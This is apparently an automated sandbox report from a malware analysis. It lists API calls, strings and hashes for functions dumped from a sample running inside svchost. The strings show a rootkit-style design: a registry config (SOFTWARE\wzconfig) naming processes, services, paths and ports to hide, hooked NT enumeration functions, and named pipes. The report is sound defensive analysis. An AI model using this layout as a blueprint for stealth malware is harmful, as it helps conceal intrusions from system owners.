Part of subcall function 00000216819B1630: RegCloseKey.ADVAPI32 ref: 00000216819B17B2
Part of subcall function 00000216819B1630: RegOpenKeyExW.ADVAPI32 ref: 00000216819B17D2

Sleep.KERNEL32 ref: 00000216819B1ADF
SleepEx.KERNELBASE ref: 00000216819B1AE5

Part of subcall function 00000216819B1630: RegCloseKey.ADVAPI32 ref: 00000216819B17ED
Part of subcall function 00000216819B1630: RegOpenKeyExW.ADVAPI32 ref: 00000216819B180D
Part of subcall function 00000216819B1630: RegCloseKey.ADVAPI32 ref: 00000216819B1828
Part of subcall function 00000216819B1630: RegOpenKeyExW.ADVAPI32 ref: 00000216819B1848
Part of subcall function 00000216819B1630: RegCloseKey.ADVAPI32 ref: 00000216819B1863
Part of subcall function 00000216819B1630: RegOpenKeyExW.ADVAPI32 ref: 00000216819B1883
Part of subcall function 00000216819B1630: RegCloseKey.ADVAPI32 ref: 00000216819B189E
Part of subcall function 00000216819B1630: RegCloseKey.ADVAPI32 ref: 00000216819B18A8

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction ID: 4361e9ea1ed55f9533400fbf40ff2ad1109a8b3fe0009fd101d27c5258330a75
Opcode Fuzzy Hash: 96bbb6c5dfaa89c5ee4f9b47efdaf229a391d86e69f5c9ec07006103e4739bcd
Instruction Fuzzy Hash: B331EB75610A3589FF549B26F94C3FD23A4EBA4BC0F1A54319E0D877D9FE24C8998250

Function 0000021681982750 Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000021681982872

Memory Dump Source

Source File: 00000005.00000002.2624132952.0000021681980000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000021681980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21681980000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 7e0df477ede2c1cd813b6dc73e6dad918a3dd38986ad8779925cdc41d7265fba
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 88613332B416908FDF548F15D20C7ADB392FB64BE5F5A8120DE0E07788DA39D826C700

Function 00000216819B3858 Relevance: 1.3, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000216819B3870

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bcdd8bc399243b85fdbdeadd6d3938df9384e511b8271d9569c855e29d0cd8c
Instruction ID: eac7c6e31302558f9cdd097af4e8828d4a4db616f8664aa75d1323126e3a1c65
Opcode Fuzzy Hash: 0bcdd8bc399243b85fdbdeadd6d3938df9384e511b8271d9569c855e29d0cd8c
Instruction Fuzzy Hash: 5DD0A730702205CEFF24DFA598CD6E92352DB24744F8A4021CD0401200DB29CACDCB11

Non-executed Functions

Function 00000216819B2B40 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000216819B2BE4
lstrlenW.KERNEL32 ref: 00000216819B2E1E

Part of subcall function 00000216819B19A4: OpenProcess.KERNEL32 ref: 00000216819B19CA
Part of subcall function 00000216819B19A4: K32GetModuleFileNameExW.KERNEL32 ref: 00000216819B19E8
Part of subcall function 00000216819B19A4: PathFindFileNameW.SHLWAPI ref: 00000216819B19F7
Part of subcall function 00000216819B19A4: lstrlenW.KERNEL32 ref: 00000216819B1A03
Part of subcall function 00000216819B19A4: StrCpyW.SHLWAPI ref: 00000216819B1A16
Part of subcall function 00000216819B19A4: CloseHandle.KERNEL32 ref: 00000216819B1A24

GetProcAddress.KERNEL32 ref: 00000216819B2BF9

Part of subcall function 00000216819B1534: StrCmpIW.SHLWAPI ref: 00000216819B1565

Part of subcall function 00000216819B3858: StrCmpNIW.SHLWAPI ref: 00000216819B3870

StrCmpNIW.SHLWAPI ref: 00000216819B2C3C
lstrlenW.KERNEL32 ref: 00000216819B2D64

Strings

ntdll.dll, xrefs: 00000216819B2BDD
\Device\Nsi, xrefs: 00000216819B2C2F
NtQueryObject, xrefs: 00000216819B2BEF

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction ID: fd0c969c2e2ece0eb67fa279b6ab00ffecfa7cfb9d9adfeb4a8a64b150774b0b
Opcode Fuzzy Hash: 26544e6c5f0419fcfe813128afc281aff9572a7b63f13a5f121835e5e6e69d00
Instruction Fuzzy Hash: FFB1AE322106A08AEF68CF26D44C7ED63A4FBA4B84F965016DE0D57B98EF35ED48C340

Function 00000216819B7D90 Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000216819B7DAC
RtlCaptureContext.NTDLL ref: 00000216819B7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000216819B7DF3
RtlVirtualUnwind.NTDLL ref: 00000216819B7E34
IsDebuggerPresent.KERNEL32 ref: 00000216819B7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000216819B7EA5
UnhandledExceptionFilter.KERNEL32 ref: 00000216819B7EB0

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction ID: 88af1c4942f722056292f859fc3c676dd385bf963df80e4e7a661ce88c85ece6
Opcode Fuzzy Hash: 7dccb9baa4819195bc910d82c93c9c94a074eef8dbf9c6936f7d6f4099627f79
Instruction Fuzzy Hash: 1F317E72314B808AEF648F60E8883ED7361F794744F45412ADA8E87B98EF38C64CC710

Function 00000216819BD814 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000216819BD88D
RtlLookupFunctionEntry.NTDLL ref: 00000216819BD8A5
RtlVirtualUnwind.NTDLL ref: 00000216819BD8E0
IsDebuggerPresent.KERNEL32 ref: 00000216819BD919
SetUnhandledExceptionFilter.KERNEL32 ref: 00000216819BD923
UnhandledExceptionFilter.KERNEL32 ref: 00000216819BD92E

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction ID: e054e30c0b0b95726b8c33e037f8a02ccd43d39a05ed31de564de1db8a543090
Opcode Fuzzy Hash: 8ad7b10046b838cd94577b5e5c393489478853aa225d9b7cfe16be4989e4b7af
Instruction Fuzzy Hash: F6318432214F808AEF64CF25E8483EE73A4F799758F510125EA9D43B99DF38C549CB00

Function 00000216819B1630 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000216819B163B
HeapAlloc.KERNEL32 ref: 00000216819B164A

Part of subcall function 00000216819B1268: GetProcessHeap.KERNEL32 ref: 00000216819B126E
Part of subcall function 00000216819B1268: HeapAlloc.KERNEL32 ref: 00000216819B127D
Part of subcall function 00000216819B1268: GetProcessHeap.KERNEL32 ref: 00000216819B1297
Part of subcall function 00000216819B1268: HeapAlloc.KERNEL32 ref: 00000216819B12A8

RegOpenKeyExW.ADVAPI32 ref: 00000216819B16BA
RegOpenKeyExW.ADVAPI32 ref: 00000216819B16E7
RegCloseKey.ADVAPI32 ref: 00000216819B1701
RegOpenKeyExW.ADVAPI32 ref: 00000216819B1721
RegCloseKey.ADVAPI32 ref: 00000216819B173C
RegOpenKeyExW.ADVAPI32 ref: 00000216819B175C
RegCloseKey.ADVAPI32 ref: 00000216819B1777
RegOpenKeyExW.ADVAPI32 ref: 00000216819B1797
RegCloseKey.ADVAPI32 ref: 00000216819B17B2
RegOpenKeyExW.ADVAPI32 ref: 00000216819B17D2
RegCloseKey.ADVAPI32 ref: 00000216819B17ED
RegOpenKeyExW.ADVAPI32 ref: 00000216819B180D
RegCloseKey.ADVAPI32 ref: 00000216819B1828
RegOpenKeyExW.ADVAPI32 ref: 00000216819B1848
RegCloseKey.ADVAPI32 ref: 00000216819B1863
RegOpenKeyExW.ADVAPI32 ref: 00000216819B1883
RegCloseKey.ADVAPI32 ref: 00000216819B189E
RegCloseKey.ADVAPI32 ref: 00000216819B18A8

Part of subcall function 00000216819B12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000216819B1319
Part of subcall function 00000216819B12BC: GetProcessHeap.KERNEL32 ref: 00000216819B1327
Part of subcall function 00000216819B12BC: HeapAlloc.KERNEL32 ref: 00000216819B1338
Part of subcall function 00000216819B12BC: RegEnumValueW.ADVAPI32 ref: 00000216819B1397
Part of subcall function 00000216819B12BC: GetProcessHeap.KERNEL32 ref: 00000216819B13DF
Part of subcall function 00000216819B12BC: HeapAlloc.KERNEL32 ref: 00000216819B13ED
Part of subcall function 00000216819B12BC: GetProcessHeap.KERNEL32 ref: 00000216819B140A
Part of subcall function 00000216819B12BC: HeapFree.KERNEL32 ref: 00000216819B1418
Part of subcall function 00000216819B12BC: lstrlenW.KERNEL32 ref: 00000216819B1421
Part of subcall function 00000216819B12BC: GetProcessHeap.KERNEL32 ref: 00000216819B142F
Part of subcall function 00000216819B12BC: HeapAlloc.KERNEL32 ref: 00000216819B143D

Strings

process_names, xrefs: 00000216819B1755
service_names, xrefs: 00000216819B17CB
startup, xrefs: 00000216819B16DD
SOFTWARE\wzconfig, xrefs: 00000216819B169A
tcp_remote, xrefs: 00000216819B1841
udp, xrefs: 00000216819B187C
tcp_local, xrefs: 00000216819B1806
pid, xrefs: 00000216819B171A
paths, xrefs: 00000216819B1790

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\wzconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-440640706
Opcode ID: 7c4a1d948d205c8ebe001ad381780c1a24ce9ec132a6c0bfe6eb7dfad1714e50
Instruction ID: 8d20cfa4804ab780a92419fc37124bda36b7237033b19598f65d44058a0d936d
Opcode Fuzzy Hash: 7c4a1d948d205c8ebe001ad381780c1a24ce9ec132a6c0bfe6eb7dfad1714e50
Instruction Fuzzy Hash: 4971C976710A518AEF20DF66F89C6DD23B4FBA4B88F421125DA8E57B69EF34C448C740

Function 00000216819B12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000216819B1319
GetProcessHeap.KERNEL32 ref: 00000216819B1327
HeapAlloc.KERNEL32 ref: 00000216819B1338
RegEnumValueW.ADVAPI32 ref: 00000216819B1397

Part of subcall function 00000216819B1534: StrCmpIW.SHLWAPI ref: 00000216819B1565

GetProcessHeap.KERNEL32 ref: 00000216819B13DF
HeapAlloc.KERNEL32 ref: 00000216819B13ED
GetProcessHeap.KERNEL32 ref: 00000216819B140A
HeapFree.KERNEL32 ref: 00000216819B1418
lstrlenW.KERNEL32 ref: 00000216819B1421
GetProcessHeap.KERNEL32 ref: 00000216819B142F
HeapAlloc.KERNEL32 ref: 00000216819B143D
StrCpyW.SHLWAPI ref: 00000216819B145F
GetProcessHeap.KERNEL32 ref: 00000216819B1476
HeapFree.KERNEL32 ref: 00000216819B1484

Strings

d, xrefs: 00000216819B135A

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8c63c14dadc595c9770824a5a8628493091718220e8d249dbd43905e110b320b
Instruction ID: 19148b15e0785c90b7b5efe4d3b42acf1ede0d4496f1639d33d33aeac3e3b708
Opcode Fuzzy Hash: 8c63c14dadc595c9770824a5a8628493091718220e8d249dbd43905e110b320b
Instruction Fuzzy Hash: A3513A76604B848AEB54CF62F54C39EB7A2F799F99F454124DA8A07758EF3CC059C700

Function 00000216819B1D1C Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000216819B1D27

Part of subcall function 00000216819B1FDC: GetModuleHandleA.KERNEL32 ref: 00000216819B1FF4
Part of subcall function 00000216819B1FDC: GetProcAddress.KERNEL32 ref: 00000216819B2005

Part of subcall function 00000216819B5B40: GetCurrentThreadId.KERNEL32 ref: 00000216819B5B7B

Strings

NtQuerySystemInformation, xrefs: 00000216819B1D4D
EnumServicesStatusExW, xrefs: 00000216819B1E19, 00000216819B1E3A
ntdll.dll, xrefs: 00000216819B1D35
EnumServiceGroupW, xrefs: 00000216819B1DF8
NtEnumerateValueKey, xrefs: 00000216819B1DDE
NtDeviceIoControlFile, xrefs: 00000216819B1E5E
NtEnumerateKey, xrefs: 00000216819B1DC1
advapi32.dll, xrefs: 00000216819B1DFF, 00000216819B1E20
sechost.dll, xrefs: 00000216819B1E41
NtResumeThread, xrefs: 00000216819B1D6A
NtQueryDirectoryFileEx, xrefs: 00000216819B1DA4
NtQueryDirectoryFile, xrefs: 00000216819B1D87

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction ID: 8a70bb770da308128df2406dd91541ab9beca4aee603dab9a1a7320e1fae7a49
Opcode Fuzzy Hash: f9a2c3f0e0819997d594a213550735c5682f77fff7d415db42708e4ed7ca13a2
Instruction Fuzzy Hash: 1C3192B8200A6AACFE15EBA5F85D7EC6364EB74384FC24427944D16175AF78C24EC390

Function 00000216819BD398 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000216819BD3A7
FlsGetValue.KERNEL32(?,?,?,00000216819C0FDB,?,?,?,00000216819C09CC,?,?,?,00000216819BCDBF), ref: 00000216819BD3BC
FlsSetValue.KERNEL32(?,?,?,00000216819C0FDB,?,?,?,00000216819C09CC,?,?,?,00000216819BCDBF), ref: 00000216819BD3DD
FlsSetValue.KERNEL32(?,?,?,00000216819C0FDB,?,?,?,00000216819C09CC,?,?,?,00000216819BCDBF), ref: 00000216819BD40A
FlsSetValue.KERNEL32(?,?,?,00000216819C0FDB,?,?,?,00000216819C09CC,?,?,?,00000216819BCDBF), ref: 00000216819BD41B
FlsSetValue.KERNEL32(?,?,?,00000216819C0FDB,?,?,?,00000216819C09CC,?,?,?,00000216819BCDBF), ref: 00000216819BD42C
SetLastError.KERNEL32 ref: 00000216819BD447
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000216819C0FDB,?,?,?,00000216819C09CC,?,?,?,00000216819BCDBF), ref: 00000216819BD47D
FlsSetValue.KERNEL32(?,?,00000001,00000216819BF23C,?,?,?,?,00000216819BC50F,?,?,?,?,?,00000216819B7AC0), ref: 00000216819BD49C

Part of subcall function 00000216819BDC3C: HeapAlloc.KERNEL32 ref: 00000216819BDC91

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000216819C0FDB,?,?,?,00000216819C09CC,?,?,?,00000216819BCDBF), ref: 00000216819BD4C4

Part of subcall function 00000216819BDCB4: HeapFree.KERNEL32 ref: 00000216819BDCCA
Part of subcall function 00000216819BDCB4: GetLastError.KERNEL32 ref: 00000216819BDCD4

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000216819C0FDB,?,?,?,00000216819C09CC,?,?,?,00000216819BCDBF), ref: 00000216819BD4D5
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000216819C0FDB,?,?,?,00000216819C09CC,?,?,?,00000216819BCDBF), ref: 00000216819BD4E6

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 0311236df13cff9ddc5faef47bd35e239f24ae7eb6a96a8c603fa91771617960
Instruction ID: e5a810ece8de63f246f6c79189baeaaf24dc1b76953f089aafb89c435761648f
Opcode Fuzzy Hash: 0311236df13cff9ddc5faef47bd35e239f24ae7eb6a96a8c603fa91771617960
Instruction Fuzzy Hash: 63416F303056748EFE5CB772955D3ED21C65B74BB8F164724A93A067D7EE28D8494300

Function 00000216819B224C Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000216819B2261
GetCurrentProcessId.KERNEL32 ref: 00000216819B226B

Part of subcall function 00000216819B193C: OpenProcess.KERNEL32 ref: 00000216819B195A
Part of subcall function 00000216819B193C: IsWow64Process.KERNEL32 ref: 00000216819B1970
Part of subcall function 00000216819B193C: CloseHandle.KERNEL32 ref: 00000216819B198B

CreateFileW.KERNEL32 ref: 00000216819B22C4
WriteFile.KERNEL32 ref: 00000216819B22EC
ReadFile.KERNEL32 ref: 00000216819B230B
CloseHandle.KERNEL32 ref: 00000216819B2314

Strings

\\.\pipe\wzchildproc32, xrefs: 00000216819B229B
\\.\pipe\wzchildproc64, xrefs: 00000216819B2294

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\wzchildproc32$\\.\pipe\wzchildproc64
API String ID: 2171963597-1908187885
Opcode ID: 61e9aad5965f0bf4cc9e1225d6c883f067986cfc1e7eceaf874e8f6c664e297a
Instruction ID: 75ba977ad40e7920c3bef7c802ec8c1777a5adcc241fa8a0aef53cacd332f0b1
Opcode Fuzzy Hash: 61e9aad5965f0bf4cc9e1225d6c883f067986cfc1e7eceaf874e8f6c664e297a
Instruction Fuzzy Hash: A6212936614B508BFB10CB25F44C3AE67A1F799BA5F514215EA9902BA8DF7CC54DCB00

Function 0000021681989EF0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 0000021681989F4C

Part of subcall function 000002168198AE08: __GetUnwindTryBlock.LIBCMT ref: 000002168198AE4B
Part of subcall function 000002168198AE08: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002168198AE70

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002168198A024
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002168198A273
std::bad_alloc::bad_alloc.LIBCMT ref: 000002168198A37F

Strings

csm, xrefs: 000002168198A047
csm, xrefs: 0000021681989F66
csm, xrefs: 0000021681989FCD

Memory Dump Source

Source File: 00000005.00000002.2624132952.0000021681980000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000021681980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21681980000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction ID: 0442a4f2f429f8f48b690bb4eb5025a919f4eba2242cb7c6428bdf88597eaeb6
Opcode Fuzzy Hash: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction Fuzzy Hash: DAD1AD72644B408FEF609F65D48C3DD77A0F7A6BA8F020216EE8957B96DB38D499C700

Function 00000216819BAAF0 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000216819BAB4C

Part of subcall function 00000216819BBA08: __GetUnwindTryBlock.LIBCMT ref: 00000216819BBA4B
Part of subcall function 00000216819BBA08: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000216819BBA70

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000216819BAC24
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000216819BAE73
std::bad_alloc::bad_alloc.LIBCMT ref: 00000216819BAF7F

Strings

csm, xrefs: 00000216819BAB66
csm, xrefs: 00000216819BAC47
csm, xrefs: 00000216819BABCD

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction ID: 97df6bae4fd4c272dad566c70eca623a2d67dd5b8b7a4d677d9b7fd89218708b
Opcode Fuzzy Hash: 568c55b6c37a7b809f3d2baaff0a03158bf13451ebb28e48a05911c62cbff0d2
Instruction Fuzzy Hash: 7CD1CF72A00BA08EEF60DF65D48C3DD77A0F7A9BA8F120115EE8957B96DB34D489C700

Function 00000216819BF904 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000216819BFA80
GetProcAddress.KERNEL32 ref: 00000216819BFA8C

Strings

api-ms-, xrefs: 00000216819BF9CA
ext-ms-, xrefs: 00000216819BF9DD

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction ID: c92aa99dd7ccd533ff694c828cd583452ffd66c277c2e8ad28bd1c6b2b834d25
Opcode Fuzzy Hash: 78242e2ad1e66ce797da3b321992a6ad1daff7ac6a80aafc19c0109c88dcfca8
Instruction Fuzzy Hash: 95419032311A2099FE19DB66A94C7DD22A5BB69BE0F4B41299D8D97794EB38C44DC300

Function 00000216819B104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000216819B10B1
RegEnumValueW.ADVAPI32 ref: 00000216819B1117
GetProcessHeap.KERNEL32 ref: 00000216819B115A
HeapAlloc.KERNEL32 ref: 00000216819B1168
GetProcessHeap.KERNEL32 ref: 00000216819B1185
HeapFree.KERNEL32 ref: 00000216819B1193

Strings

d, xrefs: 00000216819B10D6

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: c23a57b3d10ce56a0b0d8c8c28d6846a727f3081025e08c0ecdbdda6a56f4326
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: AA415C73214B84CAEB60CF21F44879E77A1F399B99F458129DB8907B58EF38C589CB40

Function 00000216819BD5D8 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000216819BCD4E,?,?,?,?,?,?,?,?,00000216819BD50D,?,?,00000001), ref: 00000216819BD5F7
FlsSetValue.KERNEL32(?,?,?,00000216819BCD4E,?,?,?,?,?,?,?,?,00000216819BD50D,?,?,00000001), ref: 00000216819BD616
FlsSetValue.KERNEL32(?,?,?,00000216819BCD4E,?,?,?,?,?,?,?,?,00000216819BD50D,?,?,00000001), ref: 00000216819BD63E
FlsSetValue.KERNEL32(?,?,?,00000216819BCD4E,?,?,?,?,?,?,?,?,00000216819BD50D,?,?,00000001), ref: 00000216819BD64F
FlsSetValue.KERNEL32(?,?,?,00000216819BCD4E,?,?,?,?,?,?,?,?,00000216819BD50D,?,?,00000001), ref: 00000216819BD660

Strings

Y%, xrefs: 00000216819BD616
1%, xrefs: 00000216819BD63E

Memory Dump Source

Source File: 00000005.00000002.2625508344.00000216819B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000216819B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_216819b0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction ID: 023bd0c4fd2a4507a0837e78a07aff7af5b620e54b3f1399547a36c97c6cd93f
Opcode Fuzzy Hash: c43ba9056afb091907f0ee91a963f4e74318913cfa62c74dbd7af27afc39a0a2
Instruction Fuzzy Hash: BD119430704670C9FE58A722A55D3ED61CA6F647F8F178335A87D477DAEE28C8094700

Function 0000021681986920 Relevance: 12.2, APIs: 8, Instructions: 228COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000021681986948
__scrt_acquire_startup_lock.LIBCMT ref: 000002168198699A
_RTC_Initialize.LIBCMT ref: 00000216819869C8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000216819869EE
__scrt_release_startup_lock.LIBCMT ref: 0000021681986A19

Memory Dump Source

Source File: 00000005.00000002.2624132952.0000021681980000.00000040.00000400.00020000.00000000.sdmp, Offset: 0000021681980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_21681980000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
